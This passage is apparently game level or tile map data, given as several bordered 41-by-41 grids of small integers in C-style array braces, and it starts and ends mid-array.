{4,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,4}, {4,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,4}, {4,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,4}, {4,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,4}, {4,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,4}, {4,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,4}, {4,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,4}, {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4} }, { {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,4}, {4,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,4}, {4,0,0,0,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,1,1,1,0,0,0,5,5,5,4}, {4,0,0,0,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,1,1,1,0,0,0,5,5,5,4}, {4,0,0,0,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,1,1,1,0,0,0,5,5,5,4}, {4,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,4}, {4,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,4}, {4,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,0,0,0,5,5,5,1,1,1,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,0,0,0,5,5,5,1,1,1,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,4}, {4,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,0,0,0,5,5,5,1,1,1,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,5,5,5,4}, {4,0,0,0,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,4}, {4,0,0,0,5,5,5,5,5,5,5,5,5,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,4}, {4,0,0,0,5,5,5,5,5,5,5,5,5,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,5,5,5,0,0,0,5,5,5,5,5,5,4}, {4,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4} }, { {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,4}, {4,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,2,2,2,2,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,4}, {4,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,2,2,2,2,2,2,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,4}, {4,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,2,2,2,2,2,2,2,2,0,0,0,1,1,0,0,0,0,0,0,0,1,1,4}, {4,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,2,2,2,2,2,2,2,2,0,0,1,1,1,0,0,0,0,0,0,0,1,1,4}, {4,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,0,0,0,0,0,0,0,0,1,1,4}, {4,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,0,0,0,0,0,0,0,0,1,1,4}, {4,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,0,0,0,0,0,0,0,0,1,1,4}, {4,1,1,0,0,0,0,0,0,0,0,0,1,1,1,2,2,2,2,6,6,6,6,6,6,2,2,2,2,1,1,1,0,0,0,0,0,1,1,1,4}, {4,1,1,0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,6,6,6,6,6,6,2,2,2,2,1,1,1,1,0,0,0,0,1,1,1,4}, {4,1,1,0,0,0,0,0,0,0,1,1,1,1,1,2,2,2,2,6,6,6,6,6,6,2,2,2,2,1,1,1,1,0,0,0,1,1,1,1,4}, {4,0,1,1,0,0,0,0,0,0,1,1,1,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,1,1,1,0,0,1,1,1,1,4}, {4,0,1,1,1,0,0,0,0,1,1,1,1,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,1,1,1,1,1,1,1,1,1,4}, {4,0,0,1,1,1,1,1,1,1,1,1,1,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,1,1,1,1,1,1,1,1,1,4}, {4,0,0,0,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,1,1,1,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,0,4}, {4,0,0,0,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,1,1,1,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,0,4}, {4,0,0,0,0,1,1,1,1,1,1,1,1,6,6,6,6,6,6,1,1,1,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,0,0,4}, {4,0,0,0,0,0,1,1,1,1,1,1,1,6,6,6,0,0,0,1,1,1,0,0,0,6,6,6,1,1,1,1,1,1,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,6,6,6,0,0,0,1,1,1,0,0,0,6,6,6,1,1,1,1,1,1,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,6,6,6,0,0,0,1,1,1,0,0,0,6,6,6,1,1,1,1,1,1,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,4}, {4,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,4}, {4,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,6,6,6,6,6,6,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,4}, {4,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,4}, {4,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,4}, {4,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,4}, {4,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,4}, {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4} }, { {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4}, {4,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,6,6,6,6,6,6,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,6,6,6,6,6,6,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,6,6,6,6,6,6,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,1,1,1,0,0,0,0,0,0,0,0,0,6,6,6,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,1,1,1,0,0,0,0,0,0,0,0,0,6,6,6,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,1,1,1,0,0,0,0,0,0,0,0,0,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,4}, {4,6,6,6,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,1,1,1,0,0,0,4}, {4,6,6,6,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,1,1,1,0,0,0,4}, {4,6,6,6,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,6,6,6,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,4}, {4,0,0,0,6,6,6,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,4}, {4,0,0,0,6,6,6,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,4}, {4,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,6,6,6,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,4}, {4,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,6,6,6,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,4}, {4,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,6,6,6,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,4}, {4,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,4}, {4,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,4}, {4,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,6,6,6,0,0,0,0,0,0,4}, {4,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,4}, {4,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,4}, {4,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,4}, {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4} }, { {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,5,5,5,5,5,5,1,1,1,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,0,0,0,5,5,5,5,5,5,1,1,1,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,0,0,0,5,5,5,5,5,5,1,1,1,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,6,6,6,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,6,6,6,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,6,6,6,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,5,5,5,5,5,5,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,5,5,5,5,5,5,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,5,5,5,5,5,5,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,4}, {4,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,6,6,6,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,4}, {4,6,6,6,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,4}, {4,6,6,6,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,4}, 